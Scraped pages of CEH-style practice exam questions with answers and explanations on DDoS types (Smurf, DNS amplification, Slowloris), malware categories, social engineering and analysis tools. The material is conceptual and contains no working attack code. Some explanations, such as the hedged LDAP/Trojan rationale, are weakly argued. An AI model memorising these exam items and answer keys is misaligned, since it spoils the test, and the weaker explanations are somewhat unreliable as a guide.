A Smurf attack is a distributed denial-of-service (DDoS) attack where an attacker sends a large number of Internet Control Message Protocol (ICMP) echo requests to a network's broadcast address. The crucial element is that the source IP address of these requests is spoofed to be the victim's workstation. Consequently, all hosts on the broadcast network respond to the victim's IP address with ICMP echo replies, overwhelming the workstation with traffic and causing a denial of service.

Why this answer

A Smurf attack is a distributed denial-of-service (DDoS) attack that exploits ICMP echo request packets sent to a network broadcast address. The source IP is spoofed to be the victim's address, causing all hosts on the broadcast network to reply to the victim, overwhelming it with ICMP echo replies. This matches the alert description of large volumes of ICMP echo requests to a broadcast address.

Exam trap

EC-CEH often tests the distinction between Smurf and Ping of Death, where candidates confuse the volume-based amplification of Smurf with the oversized-packet exploit of Ping of Death.

How to eliminate wrong answers

Option B (Ping of Death) is wrong because it involves sending a malformed ICMP packet larger than the maximum allowed size (65535 bytes), causing a buffer overflow, not repeated large volumes of echo requests to a broadcast address. Option C (SYN flood) is wrong because it exploits the TCP three-way handshake by sending many SYN packets with spoofed source IPs, leaving half-open connections, and does not use ICMP or broadcast addresses. Option D (Slowloris) is wrong because it is an application-layer DDoS attack that holds many HTTP connections open by sending partial requests, targeting web servers, not ICMP or network-layer broadcast traffic.

Practice this question →
26
Multi-Selecteasy

Which TWO of the following are types of malware that specifically aim to demand payment from victims?

Select 2 answers
A.Keylogger
B.Spyware
C.Scareware
D.Ransomware
E.Adware
AnswersC, D

Scareware displays fake alerts to trick users into paying for removal.

Why this answer

Scareware is a type of malware that displays fake security alerts or warnings to trick users into believing their system is infected, then demands payment to remove the nonexistent threat. Ransomware encrypts the victim's files or locks the system and demands a ransom payment for decryption or restoration. Both specifically aim to extort money from victims.

Exam trap

EC-CEH often tests the distinction between malware that demands payment (scareware and ransomware) versus malware that simply annoys or spies (adware, spyware, keyloggers), so candidates mistakenly classify scareware as a form of adware or spyware instead of recognizing its extortion-based goal.

Practice this question →
27
MCQeasy

Which type of malware spreads by replicating itself across a network without requiring a host file to attach to?

A.Trojan
B.Ransomware
C.Worm
D.Virus
AnswerC

Worms self-propagate across networks independently.

Why this answer

A worm is a standalone malware that replicates itself across a network without needing a host file, exploiting vulnerabilities or using network protocols like SMB, RDP, or email to spread autonomously. Unlike viruses, worms do not attach to a host program; they self-propagate via network connections, often consuming bandwidth and system resources.

Exam trap

A common trap on the CEH exam is confusing 'self-replication' with 'requires a host file'—a worm replicates independently across a network, while a virus must attach to a host file to propagate.

How to eliminate wrong answers

Option A is wrong because a Trojan disguises itself as legitimate software but does not self-replicate; it relies on user execution for installation. Option B is wrong because ransomware encrypts files or locks systems for ransom but typically spreads via attachments or exploits, not by autonomous network replication without a host. Option D is wrong because a virus requires a host file or program to attach to and depends on user action (e.g., opening a file) to execute and spread, unlike a worm which is self-contained and network-propagating.

Practice this question →
28
MCQeasy

Which of the following tools is commonly used for dynamic malware analysis by executing the malware in an isolated environment and monitoring system changes?

A.Strings
B.PEiD
C.VirusTotal
D.Cuckoo Sandbox
AnswerD

Cuckoo Sandbox is an open-source automated malware analysis system specifically designed for dynamic analysis. It executes suspicious files within an isolated virtual environment, commonly referred to as a sandbox, and meticulously monitors their runtime behavior. This includes observing API calls, network traffic, file system changes, and process interactions, providing a comprehensive report on the malware's actions and intent, which is the core objective of dynamic analysis.

Why this answer

Cuckoo Sandbox is the correct answer because it is an open-source automated malware analysis system specifically designed for dynamic analysis. It executes suspicious files in an isolated, virtualized environment (e.g., VirtualBox, KVM) and monitors system changes such as file system modifications, registry changes, network connections, and process behavior in real time, providing a detailed report of the malware's runtime activities.

Exam trap

EC-CEH often tests the distinction between static and dynamic analysis tools, and the trap here is that candidates may confuse VirusTotal's file scanning (which is static and signature-based) with true dynamic sandbox execution, or assume that Strings or PEiD can perform runtime monitoring when they are purely static analysis utilities.

How to eliminate wrong answers

Option A is wrong because Strings is a static analysis tool that extracts readable ASCII and Unicode strings from a binary file, not a dynamic analysis tool that executes malware. Option B is wrong because PEiD is a static analysis tool used to detect packers, compilers, and cryptors in PE files by signature matching, not for executing malware or monitoring runtime behavior. Option C is wrong because VirusTotal is a multi-engine file scanning service that aggregates static detection results from numerous antivirus engines, but it does not execute malware in an isolated sandbox for dynamic behavioral monitoring.

Practice this question →
29
MCQeasy

Which type of malware encrypts the victim's files and demands payment for the decryption key?

A.Keylogger
B.Spyware
C.Adware
D.Ransomware
AnswerD

Ransomware is a malicious software that encrypts a victim's files, rendering them inaccessible, and subsequently demands a payment, typically in cryptocurrency, in exchange for the decryption key. This type of attack is specifically designed for financial extortion by holding critical data hostage. It directly matches the description of encrypting files and demanding a ransom for their recovery.

Why this answer

Ransomware is the correct answer because it specifically encrypts the victim's files using symmetric encryption (e.g., AES) and then demands a ransom payment, typically in cryptocurrency, in exchange for the decryption key. Unlike other malware types, its primary purpose is data hostage for financial extortion, often leveraging asymmetric encryption (e.g., RSA) to secure the symmetric key.

Exam trap

The trap here is that candidates may confuse ransomware with scareware (which displays fake warnings but does not encrypt files) or mistakenly think spyware or adware could also demand payment, but only ransomware specifically encrypts data and demands a decryption key in return.

How to eliminate wrong answers

Option A is wrong because a keylogger is designed to capture keystrokes to steal credentials or sensitive data, not to encrypt files or demand payment. Option B is wrong because spyware covertly monitors user activity and collects information (e.g., browsing habits, login details) without encrypting files or issuing ransom demands. Option C is wrong because adware automatically displays or downloads advertisements, often for revenue generation, and lacks any file-encryption or extortion capabilities.

Practice this question →
30
MCQmedium

During a penetration test, you discover a process named 'svch0st.exe' running on a Windows server with high CPU usage. The file is not digitally signed. Which type of malware is MOST likely present?

A.Polymorphic virus
B.Ransomware
C.Trojan
D.Worm
AnswerC

The process masquerades as a legitimate service (svchost.exe) to avoid detection, typical of a Trojan or backdoor.

Why this answer

The process name 'svch0st.exe' mimics the legitimate Windows service host 'svchost.exe' but uses a zero instead of 'o', a common masquerading technique. The lack of a digital signature and high CPU usage indicate malicious activity, and because it appears to be a standalone executable disguised as a system process, it fits the definition of a Trojan—malware that deceives users into running it by appearing legitimate.

Exam trap

The trap here is that candidates confuse a process name mimicking a legitimate service with a worm or virus, but the key differentiator is the lack of self-replication or code mutation, making it a Trojan that relies on user deception.

How to eliminate wrong answers

Option A is wrong because a polymorphic virus changes its code signature with each infection to evade detection, but the question describes a single suspicious process name and high CPU usage, not self-modifying code behavior. Option B is wrong because ransomware typically encrypts files or locks the system and demands payment, but no symptoms like file encryption, ransom notes, or system lockout are mentioned. Option D is wrong because a worm self-replicates across networks without user interaction, often exploiting vulnerabilities, whereas the scenario focuses on a single process on one server with no indication of network propagation.

Practice this question →
31
MCQmedium

A security analyst uses a tool to capture packets in promiscuous mode on a network segment. The analyst notices that only traffic to and from the analyst's machine is captured, not all traffic on the segment. What is the most likely reason?

A.The network is using a switch instead of a hub
B.The switch is preventing sniffing due to port security
C.The analyst is not using the correct filter in Wireshark
D.The network interface is not in promiscuous mode
AnswerA

A network switch operates at Layer 2 (Data Link Layer) and intelligently forwards frames only to the specific port associated with the destination MAC address. Unlike a hub, which broadcasts all traffic to every connected port, a switch isolates traffic flows. Therefore, even if an analyst's network interface is in promiscuous mode, it will only receive broadcast traffic, multicast traffic it has joined, and unicast traffic specifically destined for its own MAC address, making passive sniffing of other hosts' unicast traffic impossible without additional active techniques like port mirroring or ARP poisoning.

Why this answer

A switch forwards frames only to the specific port associated with the destination MAC address, unlike a hub which floods all traffic to every port. When a security analyst captures packets in promiscuous mode on a switch, the NIC can see only the frames destined for or originating from that port, plus broadcast/multicast frames. Therefore, the most likely reason only traffic to/from the analyst's machine is captured is that the network uses a switch, not a hub.

Exam trap

The trap here is that candidates often assume promiscuous mode guarantees capturing all network traffic, forgetting that promiscuous mode only affects the NIC's filtering of frames it receives, not what frames the switch delivers to that port.

How to eliminate wrong answers

Option B is wrong because port security (e.g., MAC address filtering, sticky MAC) restricts which devices can connect to a switch port, but it does not prevent a connected NIC from seeing frames that are already forwarded to that port; it does not cause the selective capture of only local traffic. Option C is wrong because applying an incorrect capture filter in Wireshark would either capture no traffic or capture a subset based on filter criteria, but it would not cause the NIC to see only its own traffic; the issue is at the network layer, not the filter. Option D is wrong because the question explicitly states the analyst uses promiscuous mode; if the NIC were not in promiscuous mode, it would only capture frames addressed to its own MAC address (which is the same result), but the question says promiscuous mode is used, so the root cause is the switch's behavior, not the NIC mode.

Practice this question →
32
MCQmedium

An employee receives a text message claiming to be from the company's IT department, stating that their account will be suspended unless they click a link to verify their credentials. Which type of social engineering attack is this?

A.Vishing
B.Phishing
C.Baiting
D.SMiShing
AnswerD

SMiShing is a specialized form of phishing that utilizes Short Message Service (SMS) text messages to deceive individuals. Attackers send fraudulent text messages, often containing malicious links or requests for personal information, by impersonating legitimate organizations like banks, government agencies, or delivery services. Given that the employee received a "text message" claiming to be from a specific entity, SMiShing precisely describes this attack vector.

Why this answer

SMiShing (SMS phishing) is the correct classification because the attack vector is a text message (SMS) rather than email or voice. The message impersonates the IT department and uses a link to harvest credentials, which is the hallmark of SMiShing — phishing conducted via Short Message Service.

Exam trap

The trap here is that candidates often confuse SMiShing with generic phishing because both involve a link and credential theft, but the CEH exam specifically distinguishes them by the delivery medium — SMS versus email.

How to eliminate wrong answers

Option A is wrong because vishing (voice phishing) uses phone calls or voicemail, not text messages. Option B is wrong because phishing typically refers to email-based attacks, not SMS-based ones. Option C is wrong because baiting involves offering something enticing (e.g., a free USB drive or download) to trick the victim, not sending a credential-verification link via text.

Practice this question →
33
MCQeasy

Which type of malware is designed to encrypt files on a victim's system and demand payment for the decryption key?

A.Ransomware
B.Trojan
C.Spyware
D.Adware
AnswerA

Ransomware is a specific type of malicious software meticulously designed to encrypt a victim's files or lock access to their computer system. Its primary objective is extortion, demanding a ransom payment, typically in cryptocurrency, in exchange for a decryption key or restoration of access. Failure to pay often results in permanent data loss or continued system lockout, making it a highly destructive threat.

Why this answer

Ransomware is specifically designed to encrypt files on a victim's system using strong cryptographic algorithms (e.g., AES-256 for symmetric encryption, often paired with RSA-2048 for key exchange). After encryption, the malware displays a ransom note demanding payment (typically in cryptocurrency like Bitcoin) in exchange for the decryption key. This matches the description exactly, making option A correct.

Exam trap

The trap here is that candidates may confuse ransomware with a Trojan because some ransomware is delivered via Trojan droppers, but the defining characteristic is the encryption and ransom demand, not the delivery method.

How to eliminate wrong answers

Option B (Trojan) is wrong because a Trojan is malware that disguises itself as legitimate software to trick users into installing it, but its primary purpose is not file encryption for ransom; it may create backdoors, steal data, or perform other malicious actions. Option C (Spyware) is wrong because spyware is designed to covertly gather information about a user's activities (e.g., keystrokes, browsing habits) without their knowledge, not to encrypt files or demand payment. Option D (Adware) is wrong because adware automatically displays or downloads unwanted advertisements, often generating revenue for its developer, and does not encrypt files or hold them for ransom.

Practice this question →
34
MCQeasy

Which tool is specifically designed to create and manage phishing campaigns for security awareness testing?

A.Metasploit
B.Nmap
C.Wireshark
D.SET
AnswerD

The Social Engineering Toolkit (SET) is an open-source framework specifically engineered to perform various social engineering attacks, including spear-phishing, website attack vectors, and credential harvesting. It automates the creation of malicious web pages, email templates, and other deceptive elements crucial for a successful social engineering campaign. Therefore, SET is precisely designed to create and manage the components and execution of phishing and social engineering attacks.

Why this answer

The Social-Engineer Toolkit (SET) is an open-source Python-driven framework specifically designed for social engineering attacks, including the creation and management of phishing campaigns. It automates the generation of malicious emails, credential harvesting pages, and payload delivery, making it the standard tool for security awareness testing in CEH contexts.

Exam trap

In CEH, candidates often confuse Metasploit (a general exploitation framework) with SET (a specialized social engineering toolkit). SET uses Metasploit for payload generation, but Metasploit itself does not manage phishing campaigns—SET does.

How to eliminate wrong answers

Option A is wrong because Metasploit is a penetration testing framework focused on exploit development and payload delivery, not on orchestrating phishing campaign workflows. Option B is wrong because Nmap is a network scanning tool used for host discovery and port enumeration, with no capability to create or manage phishing emails. Option C is wrong because Wireshark is a network protocol analyzer used for packet capture and traffic inspection, not for generating social engineering attacks.

Practice this question →
35
MCQhard

A network administrator notices an unusual amount of traffic on port 389 from an internal server to multiple external IP addresses. Which type of malware might be present?

A.Adware
B.Worm
C.Trojan backdoor
D.Ransomware
AnswerC

A Trojan backdoor establishes a hidden communication channel, allowing an attacker remote access and control over a compromised system. This type of malware is designed for persistence and stealth, often using less common or seemingly legitimate protocols like LDAP (Lightweight Directory Access Protocol) or DNS for command and control (C2) or data exfiltration. The "unusual amount of traffic" could stem from the attacker issuing commands, transferring files, or exfiltrating data through this covert channel, making it a strong candidate for a sustained, anomalous traffic pattern.

Why this answer

Port 389 is used by LDAP. Outbound traffic to multiple external IPs could indicate LDAP query-based command and control or data exfiltration, but more commonly, port 389 is associated with directory services. However, in malware context, it could be a sign of a backdoor or RAT using LDAP for C2.

The most likely is that the malware is using LDAP for communication, but given options, a Trojan backdoor is plausible.

Practice this question →
36
Multi-Selecthard

Which THREE of the following are techniques used in static malware analysis? (Select 3)

Select 3 answers
A.Inspecting file metadata and properties
B.Capturing network traffic in a sandbox
C.Searching for suspicious strings in the binary
D.Analyzing the file's structure using PEiD
E.Monitoring registry changes during execution
AnswersA, C, D

This is static analysis.

Why this answer

Inspecting file metadata and properties (Option A) is a static analysis technique because it examines the file's embedded information—such as author, creation date, file version, and digital signatures—without executing the binary. This metadata can reveal the origin, compilation timestamp, or whether the file is signed by a known legitimate publisher, helping to identify suspicious characteristics before runtime.

Exam trap

EC-Council often tests the distinction between static and dynamic analysis by presenting runtime monitoring actions (like network capture or registry monitoring) as plausible static techniques, hoping candidates confuse 'examining the file' with 'observing its behavior during execution.'

Practice this question →
37
Multi-Selecthard

Which THREE of the following are effective DDoS mitigation techniques? (Choose 3)

Select 3 answers
A.MAC address filtering
B.Scrubbing centers
C.Anycast routing
D.Rate limiting
E.Disabling DHCP
AnswersB, C, D

Dedicated infrastructure filters out attack traffic.

Why this answer

Scrubbing centers are effective DDoS mitigation because they act as a centralized traffic-cleaning facility. When an attack is detected, malicious traffic is diverted to the scrubbing center, where it is filtered using signature-based, anomaly-based, and rate-based techniques, allowing only legitimate traffic to pass through to the target network. This offloads the attack burden from the victim's infrastructure.

Exam trap

The trap here is that candidates often confuse MAC address filtering (a Layer 2 security control) with effective DDoS mitigation, or mistakenly think disabling DHCP (a network configuration protocol) can stop an attack, when in reality DDoS mitigation requires scalable, network-level techniques like scrubbing, anycast, and rate limiting.

Practice this question →
38
MCQmedium

A security analyst observes a sudden flood of ICMP echo request packets from multiple external IPs to a single internal server. The packets have varying sizes and spoofed source addresses. Which type of attack is MOST likely occurring?

A.Ping of Death
B.ICMP flood
C.Smurf attack
D.SYN flood
AnswerB

An ICMP flood, also known as a "ping flood," is a classic volumetric Denial-of-Service (DoS) attack where an attacker overwhelms a target system or network with a massive volume of ICMP echo request (ping) packets. The goal is to consume all available bandwidth or processing resources, preventing legitimate traffic from reaching the target. Often, these requests use spoofed source IP addresses to hide the attacker's identity and complicate mitigation efforts.

Why this answer

An ICMP flood attack involves overwhelming a target with a high volume of ICMP echo request (ping) packets, often with spoofed source addresses and varying packet sizes, to consume bandwidth and processing resources. The description matches this exactly: multiple external IPs sending a flood of ICMP echo requests to a single server, which is the classic behavior of a distributed ICMP flood.

Exam trap

The trap here is that candidates confuse a Smurf attack with a direct ICMP flood, because both use ICMP echo requests, but Smurf relies on network broadcast amplification while an ICMP flood is a direct, high-volume barrage from many sources.

How to eliminate wrong answers

Option A is wrong because Ping of Death involves sending a single malformed ICMP packet that exceeds the maximum IP packet size (65535 bytes), causing a buffer overflow on older systems, not a flood of packets with varying sizes. Option C is wrong because a Smurf attack amplifies traffic by sending ICMP echo requests with a spoofed source IP (the victim) to a network's broadcast address, causing all hosts on that network to reply to the victim; the scenario describes a direct flood from multiple external IPs to a single server, not an amplification via broadcast. Option D is wrong because a SYN flood targets the TCP three-way handshake by sending a flood of TCP SYN packets with spoofed source addresses, exhausting the server's connection queue; the question explicitly mentions ICMP echo request packets, not TCP SYN packets.

Practice this question →
39
MCQmedium

A security team detects a large number of UDP packets from multiple sources directed at a single server's DNS port (53). The packets appear to have a spoofed source IP of the target. Which type of DDoS attack is being observed?

A.DNS amplification
B.UDP flood
C.SYN flood
D.ICMP flood
AnswerA

Attackers send small queries with spoofed source IP to open DNS resolvers, which reply with large responses to the victim.

Why this answer

This is a DNS amplification attack, a type of DDoS that exploits open DNS resolvers. The attacker sends small DNS queries with a spoofed source IP (the victim's IP) to multiple DNS servers, which then send large responses to the victim, overwhelming its DNS port (53). The key indicators are the use of UDP, port 53, spoofed source IP of the target, and the amplification effect where a small query generates a much larger response.

Exam trap

The trap here is that candidates confuse a DNS amplification attack with a simple UDP flood, missing the critical clues of spoofed source IP and the specific use of DNS port 53, which indicate the amplification vector.

How to eliminate wrong answers

Option B (UDP flood) is wrong because while it also uses UDP packets, a standard UDP flood does not involve DNS amplification or spoofed source IPs targeting a specific service port; it simply floods random ports with high volume. Option C (SYN flood) is wrong because it uses TCP SYN packets to exhaust connection resources, not UDP packets to port 53. Option D (ICMP flood) is wrong because it uses ICMP echo requests (ping) to consume bandwidth, not UDP packets directed at a DNS server.

Practice this question →
40
MCQmedium

Which tool would an analyst use to capture packets from a network interface and later analyze the pcap file for signs of an attack?

A.Ettercap
B.tcpdump
C.Wireshark
D.Nmap
AnswerC

Wireshark is the industry-standard graphical user interface (GUI) tool specifically designed for both capturing and interactively analyzing network packets in real-time or from saved capture files. It provides extensive protocol dissection capabilities, allowing analysts to drill down into individual packet headers and payloads, apply complex filters, and visualize network conversations. Its comprehensive features make it indispensable for network troubleshooting, security analysis, and protocol development.

Why this answer

Wireshark is the correct tool because it is designed for both live packet capture and offline analysis of pcap files. It provides a rich graphical interface with advanced filtering, protocol dissection, and statistical analysis capabilities, making it ideal for examining captured traffic for signs of an attack such as suspicious patterns, malformed packets, or known exploit signatures.

Exam trap

The trap here is that candidates often confuse tcpdump (which can capture packets and save pcap files) with Wireshark, failing to recognize that the question specifically asks for a tool to 'analyze' the pcap file, which requires Wireshark's advanced analysis capabilities rather than just capture.

How to eliminate wrong answers

Option A is wrong because Ettercap is primarily a man-in-the-middle attack tool for ARP poisoning and session hijacking, not a general-purpose packet capture and analysis tool; it can capture packets but lacks the deep pcap analysis features of Wireshark. Option B is wrong because tcpdump is a command-line packet capture tool that can save pcap files, but it does not provide the graphical, interactive analysis environment or advanced protocol dissection that Wireshark offers for post-capture examination. Option D is wrong because Nmap is a network scanning and discovery tool used for port scanning, OS detection, and service enumeration, not for capturing or analyzing pcap files.

Practice this question →
41
MCQeasy

Which type of malware is designed to encrypt files on a victim's system and demand payment for the decryption key?

A.Spyware
B.Adware
C.Keylogger
D.Ransomware
AnswerD

Ransomware encrypts files and demands ransom.

Why this answer

Ransomware is the correct answer because it specifically encrypts files on the victim's system using a symmetric encryption algorithm (e.g., AES) and then demands a ransom payment, typically in cryptocurrency, to provide the decryption key. This distinguishes it from other malware types that do not perform file encryption for extortion.

Exam trap

The trap here is that candidates may confuse ransomware with other malware types that also cause damage or demand payment, but only ransomware specifically encrypts files for extortion, not for data theft or advertising.

How to eliminate wrong answers

Option A is wrong because spyware is designed to covertly gather information about the user, such as keystrokes or browsing habits, without encrypting files or demanding payment. Option B is wrong because adware displays unwanted advertisements and may track user behavior, but it does not encrypt files or demand a ransom. Option C is wrong because a keylogger records keystrokes to capture sensitive data like passwords, but it does not encrypt files or demand payment for decryption.

Practice this question →
42
Multi-Selecthard

Which THREE of the following are characteristics of a DNS amplification DDoS attack? (Select three.)

Select 3 answers
A.Spoofs the source IP address of the victim
B.Amplifies traffic by sending small queries that generate large responses
C.Uses open DNS resolvers
D.Exploits the TCP handshake process
E.Floods the target with small ICMP packets
AnswersA, B, C

In a DNS amplification attack, the attacker crafts DNS queries but sets the source IP address of these queries to that of the intended victim. This IP spoofing is fundamental because it ensures that when the legitimate, but often misconfigured, DNS resolvers respond to these queries, the large response packets are directed back to the victim's IP address, effectively flooding their network interface. Without source IP spoofing, the amplified traffic would return to the attacker, defeating the purpose of the denial-of-service attack.

Why this answer

In a DNS amplification DDoS attack, the attacker spoofs the source IP address of the victim in DNS queries sent to open resolvers. This causes the resolvers to send their large responses to the victim, not the attacker, thereby directing the amplified traffic at the target. Without IP spoofing, the attack would not be able to flood the victim with responses.

Exam trap

EC-CEH often tests the distinction between UDP-based amplification attacks and TCP-based attacks; the trap here is that candidates may confuse DNS amplification with a SYN flood or other TCP-based attacks, mistakenly selecting Option D.

Practice this question →
43
MCQeasy

Which type of malware is characterized by being able to change its code signature each time it replicates to evade signature-based detection?

A.Boot sector virus
B.Polymorphic virus
C.Macro virus
D.Worm
AnswerB

A polymorphic virus is specifically designed to evade detection by antivirus software through its ability to change its internal structure and signature with each new infection. It achieves this by encrypting its own code and using a different decryption routine or "mutation engine" for each instance. This constant mutation of its executable code and decryption stub makes it extremely difficult for traditional signature-based antivirus scanners to identify it consistently, as its binary pattern is never the same.

Why this answer

Polymorphic virus is correct because it mutates its code signature each time it replicates, using a mutation engine to generate new decryption routines while keeping the payload intact. This allows it to evade signature-based detection, as each copy appears different to antivirus software that relies on static signatures.

Exam trap

The trap here is that candidates often confuse 'polymorphic' with 'metamorphic'—polymorphic changes the decryption routine while keeping the payload constant, whereas metamorphic rewrites the entire code—or they mistakenly think all self-replicating malware (like worms) are polymorphic by default.

How to eliminate wrong answers

Option A is wrong because a boot sector virus infects the master boot record (MBR) and does not inherently change its code signature upon replication; it relies on infecting boot sectors rather than polymorphism. Option C is wrong because a macro virus infects documents via macros (e.g., in Microsoft Office) and typically does not change its signature per replication; it spreads by executing macro code, not by mutating. Option D is wrong because a worm is a self-replicating malware that spreads across networks without requiring a host file, but it does not necessarily change its code signature each time it replicates; worms may use other evasion techniques but are not defined by polymorphism.

Practice this question →
44
Multi-Selectmedium

Which TWO of the following are examples of amplification attacks used in DDoS?

Select 2 answers
A.DNS amplification
B.NTP amplification
C.Slowloris
D.SYN flood
E.Ping of Death
AnswersA, B

DNS amplification is a type of Distributed Denial-of-Service (DDoS) attack that leverages open DNS resolvers. An attacker spoofs the victim's IP address and sends small DNS queries to numerous vulnerable DNS servers. These servers then respond with significantly larger DNS records, often hundreds of times the size of the initial query, directing this amplified traffic to the spoofed victim, overwhelming their network bandwidth. This attack exploits the stateless nature of UDP.

Why this answer

DNS amplification is a classic DDoS amplification attack where an attacker sends a small DNS query (e.g., an ANY or TXT record request) with a spoofed source IP (the victim's address) to an open DNS resolver. The resolver responds with a much larger response (up to 50x the query size), flooding the victim with traffic. This exploits the UDP protocol's lack of handshake and the resolver's willingness to respond to any source.

Exam trap

The CEH exam often tests the distinction between 'amplification attacks' (which multiply traffic via a small request to a third-party server) and 'flood attacks' (which directly overwhelm with many packets of similar size), so candidates mistakenly classify SYN flood or Ping of Death as amplification when they are not.

Practice this question →
45
MCQeasy

Which of the following malware types is characterized by self-replication without requiring a host file or program, and spreading across networks automatically?

A.Worm
B.Trojan horse
C.Virus
D.Ransomware
AnswerA

Worms are a class of standalone malware that self-replicate and propagate across computer networks without requiring a host program or user intervention. They exploit network vulnerabilities or misconfigurations to spread automatically from one system to another, consuming bandwidth and system resources. This autonomous propagation is their defining characteristic, enabling rapid infection across interconnected devices.

Why this answer

A worm is a standalone malware type that self-replicates and spreads across networks automatically without needing a host file or program. It exploits network vulnerabilities or uses social engineering to propagate, often consuming bandwidth and system resources.

Exam trap

The trap here is that candidates confuse a worm with a virus, assuming both require a host file, but worms are standalone and self-propagating via network vulnerabilities.

How to eliminate wrong answers

Option B is wrong because a Trojan horse disguises itself as legitimate software but does not self-replicate or spread automatically; it relies on user execution. Option C is wrong because a virus requires a host file or program to attach to and replicate, unlike a worm which is self-contained. Option D is wrong because ransomware focuses on encrypting files for ransom and does not inherently self-replicate or spread without user interaction or additional mechanisms.

Practice this question →
46
MCQhard

An analyst observes that a web server is receiving many HTTP GET requests with random parameter values, each request taking a long time to complete. The server's connection pool is exhausted, and legitimate users cannot access the site. Which attack is MOST likely occurring?

A.UDP flood
B.SYN flood
C.Slowloris
D.HTTP flood
AnswerC

Slowloris is an application-layer denial-of-service attack designed to exhaust a web server's connection pool by holding open as many connections as possible for as long as possible. It achieves this by sending legitimate, but incomplete, HTTP requests, such as a partial GET request followed by sending additional HTTP headers at very slow intervals. This forces the server to keep these connections open, waiting for the full request, eventually preventing new legitimate connections from being established and rendering the server inaccessible.

Why this answer

Slowloris is a low-and-slow application-layer DoS attack that opens multiple HTTP connections to the target server and keeps them alive by sending partial HTTP GET requests with random parameters, never completing the request. This exhausts the server's connection pool, preventing legitimate users from connecting, while each request takes a long time due to the server waiting for the final headers.

Exam trap

The trap here is that candidates confuse Slowloris with an HTTP flood because both use HTTP GET requests, but Slowloris specifically exploits incomplete requests to hold connections open, whereas an HTTP flood relies on high request volume.

How to eliminate wrong answers

Option A is wrong because a UDP flood is a volumetric attack that overwhelms the network bandwidth with UDP packets, not HTTP GET requests that exhaust connection pools. Option B is wrong because a SYN flood exploits the TCP three-way handshake by sending many SYN packets without completing the handshake, exhausting the server's SYN backlog, not by sending HTTP GET requests with random parameters. Option D is wrong because an HTTP flood sends many complete HTTP GET requests rapidly, overwhelming the server's processing capacity, but does not rely on keeping connections open with partial requests to exhaust the connection pool.

Practice this question →
47
MCQmedium

An organization wants to mitigate the impact of a DDoS attack by distributing incoming traffic across multiple servers in different geographic locations. Which technique is BEST suited?

A.Anycast
B.Scrubbing center
C.Rate limiting
D.Load balancing
AnswerA

Anycast routing effectively mitigates DDoS attacks by advertising the same IP address from multiple geographically dispersed servers. When a client initiates a connection, BGP (Border Gateway Gateway Protocol) directs traffic to the topologically nearest available Anycast node. This distribution dilutes the attack volume across numerous points of presence, making it significantly harder for attackers to overwhelm a single target and ensuring service continuity by absorbing the attack across a wide area.

Why this answer

Anycast routing allows the same IP address to be advertised from multiple geographically dispersed servers. When a DDoS attack occurs, traffic is naturally distributed to the nearest or least congested anycast node, effectively absorbing and dispersing the attack load across the global infrastructure. This technique is specifically designed to mitigate volumetric DDoS attacks by leveraging BGP to route traffic to the closest available server, preventing any single server from being overwhelmed.

Exam trap

The trap here is that candidates confuse 'load balancing' with 'geographic distribution,' but traditional load balancers (e.g., round-robin DNS or hardware LB) do not inherently provide DDoS mitigation because they concentrate traffic in a single region or rely on a central LB that can be attacked.

How to eliminate wrong answers

Option B (Scrubbing center) is wrong because a scrubbing center is a centralized facility that filters malicious traffic after it arrives, but it does not distribute incoming traffic across multiple servers; it is a single point of failure and can itself be overwhelmed. Option C (Rate limiting) is wrong because rate limiting restricts the number of requests a single server can accept, but it does not distribute traffic across multiple geographic locations and can block legitimate users during an attack. Option D (Load balancing) is wrong because traditional load balancing distributes traffic within a local or regional cluster, not across geographically diverse locations, and it typically relies on a single load balancer that can become a bottleneck or target itself.

Practice this question →
48
MCQmedium

An organization wants to protect against DNS spoofing attacks. Which security measure is MOST effective in preventing an attacker from poisoning DNS cache entries?

A.Use IPsec
B.Implement DNSSEC
C.Use a firewall
D.Disable DNS recursion
AnswerB

DNSSEC (Domain Name System Security Extensions) directly addresses DNS spoofing by adding cryptographic digital signatures to DNS records. These signatures allow DNS resolvers to cryptographically verify the authenticity and integrity of DNS responses, ensuring that the data originated from the correct authoritative server and has not been tampered with in transit. This validation process establishes a chain of trust, making it possible to detect and reject forged or manipulated DNS information, thereby preventing spoofing attacks.

Why this answer

DNSSEC (Domain Name System Security Extensions) is the most effective measure against DNS spoofing because it cryptographically signs DNS data using public-key cryptography, allowing resolvers to verify the authenticity and integrity of responses. This prevents an attacker from injecting forged DNS records into the cache, as any tampered response would fail signature validation per RFC 4033–4035.

Exam trap

A common misconception is that disabling DNS recursion or using a firewall is sufficient to prevent cache poisoning, but the only cryptographic solution that ensures data origin authentication and integrity is DNSSEC.

How to eliminate wrong answers

Option A is wrong because IPsec secures IP-layer communications between hosts or networks, but it does not protect DNS cache entries or validate the authenticity of DNS responses at the application layer. Option C is wrong because a firewall can filter traffic based on IP addresses and ports, but it cannot detect or prevent forged DNS responses that appear to come from a legitimate source. Option D is wrong because disabling DNS recursion only prevents the server from querying on behalf of clients, but it does not protect against spoofing of responses to iterative queries or cache poisoning from upstream sources.

Practice this question →
49
MCQhard

An attacker gains physical access to a building by following an authorized employee through a secure door without using a badge. Which social engineering technique is being used?

A.Pretexting
B.Tailgating
C.Baiting
D.Quid pro quo
AnswerB

Tailgating is physically following someone through a secure entrance.

Why this answer

Tailgating (also known as piggybacking) is a physical social engineering attack where an unauthorized person follows an authorized individual into a restricted area without presenting their own credentials. The attacker exploits the authorized person's trust or politeness to bypass access control systems such as badge readers or biometric locks. This technique relies on the human factor rather than technical vulnerabilities.

Exam trap

The trap here is confusing tailgating with pretexting, as both involve deception, but tailgating is specifically about physical proximity and following someone through a secured entry point without authentication.

How to eliminate wrong answers

Option A is wrong because pretexting involves fabricating a false scenario or identity to obtain information or access, not physically following someone through a door. Option C is wrong because baiting uses a physical or digital lure (e.g., an infected USB drive) to trick a victim into performing an action, not trailing behind an authorized person. Option D is wrong because quid pro quo involves offering a service or benefit in exchange for information or access, such as a fake IT support call asking for credentials, not unauthorized physical entry.

Practice this question →
50
MCQeasy

Which type of malware is characterized by encrypting a victim's files and demanding a ransom payment for the decryption key?

A.Spyware
B.Adware
C.Keylogger
D.Ransomware
AnswerD

Ransomware is a malicious software that encrypts a victim's files, rendering them inaccessible, and then demands a ransom payment, typically in cryptocurrency, for the decryption key. This type of malware explicitly holds data hostage, threatening permanent data loss if the payment is not made within a specified timeframe. Its defining characteristic is the encryption of user data and the subsequent extortion attempt.

Why this answer

Ransomware is the correct answer because it specifically encrypts files on the victim's system using strong encryption algorithms (e.g., AES-256 or RSA) and then demands a ransom payment, typically in cryptocurrency, to provide the decryption key. This matches the description exactly, distinguishing it from other malware types that do not perform file encryption for extortion.

Exam trap

